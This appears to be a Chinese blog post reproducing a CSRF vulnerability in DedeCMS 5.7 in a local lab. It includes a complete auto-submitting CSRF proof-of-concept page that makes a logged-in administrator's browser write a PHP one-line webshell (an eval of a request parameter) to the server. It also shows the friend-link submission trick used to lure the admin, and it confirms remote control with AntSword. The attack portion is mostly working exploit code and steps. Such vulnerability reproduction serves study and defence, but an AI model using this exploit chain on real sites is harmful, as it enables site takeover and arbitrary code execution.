DedeCMS织梦5.7--CSRF漏洞复现

dedecms前端底部存在【友情链接--申请加入】功能入口,提交的链接会进入后端【模块--友情链接】的待审列表。如果该流程缺乏安全校验,可能被用于 CSRF 诱导链------若攻击者提交一个指向CSRF POC页面的链接,当管理员在已登录状态下访问该链接,是否可能触发后台危险操作?


将5.7版本的dedecms部署到本地phpstudy的www目录下

我在网上找了好久的这个版本的dedecms,在这里分享出来,大家可以直接下载

通过网盘分享的文件:dedecms.zip

https://pan.baidu.com/s/12Pp6xheQ7tFekoAjUOIFGw

提取码: j2e6

默认后台登录路径:拼接dede,进入后台,可以直观地看到我们文件的操作

默认管理员的用户名和密码都是admin

左侧核心--文件式管理器--新建文件

写入一句话木马

bp抓包,抓保存时的包,可以看到包中含有刚刚写入文件的木马

然后生成poc用于验证是否含有csrf

复制生成的HTML,在桌面新建一个.html文件,粘贴进去

复制代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1/dedecms/uploads/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="&#47;dedecms&#47;uploads&#47;uploads" />
      <input type="hidden" name="filename" value="222&#46;php" />
      <input type="hidden" name="str" value="&lt;&#63;php&#32;&#64;eval&#40;&#36;&#95;REQUEST&#91;'123'&#93;&#41;&#59;&#63;&gt;" />
      <input type="hidden" name="B1" value="&#32;&#32;ä&#191;&#157;&#32;å&#173;&#152;&#32;&#32;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

将这里文件名改为222,便于和我们新建文件时上传的muma.php文件进行区分

回到dedecms,可以看到我们bp将包放掉后muma.php文件就上传成功了

打开上面创建的.html,点击submit request

登陆进去,得到此url

模块--友情链接--增加链接

将得到的url填入网址栏,提交

点击新建的链接,会有报错但不用管

回到自己创建的写有poc的网页,点击浏览器左上角向左回退的箭头,退到submit request页面,再次点击,发现从poc的222.php文件上传成功了

回到原网站,刷新,222.php文件也上传成功

说明该网页存在csrf

(注:如果写入poc的html页面登录进去没有222.php文件,浏览器左上角箭头回退到submit request再登录多试两次,或者从抓包开始到这步重复两次222.php文件就有了,本人也是重复了好几遍,感觉应该是网站的问题)

蚁剑成功连接,说明木马写入成功

或者访问222.php文件,并且传参phpinfo,成功,也说明木马写入成功

相关推荐
不好听6131 小时前
HTML 事件监听机制:从 DOM Level 0 到 React 合成事件
前端·react.js·html
wordbaby1 小时前
为什么刷新页面就 404?聊聊 SPA 路由与 Nginx 的那点事
前端
不好听6132 小时前
React 核心概念:JSX、组件与数据驱动
前端·react.js
触底反弹2 小时前
🔥 React 零基础入门(中):500 行屎山代码到组件化的蜕变
前端·javascript·react.js
不好听6132 小时前
React vs Vue:两大前端框架技术选型深度对比
前端·vue.js·react.js
GuWenyue2 小时前
Cursor黑盒拆解!1套LangChain.js手写Mini编程Agent,自动生成React项目,效率提升60%
前端·数据库·人工智能
GuWenyue2 小时前
传统Agent工具两大痛点!300行代码落地MCP跨语言工具,彻底解耦LLM与工具
前端·人工智能·算法
小林ixn3 小时前
从 onclick 到 React 合成事件,再到完整应用逻辑:一次前端架构的深度剖析
前端·react.js·前端框架
Csvn3 小时前
🧩「找不到模块」排查全记录——Monorepo 下 TypeScript 路径别名的 5 种「不通」与根治方案
前端
腻害兔4 小时前
【若依项目-产品经理视角】RuoYi-Vue-Pro 源码拆解:字典、短信、邮件、通知——后台系统的“基础设施四件套“!
java·前端·vue.js·产品经理·ai编程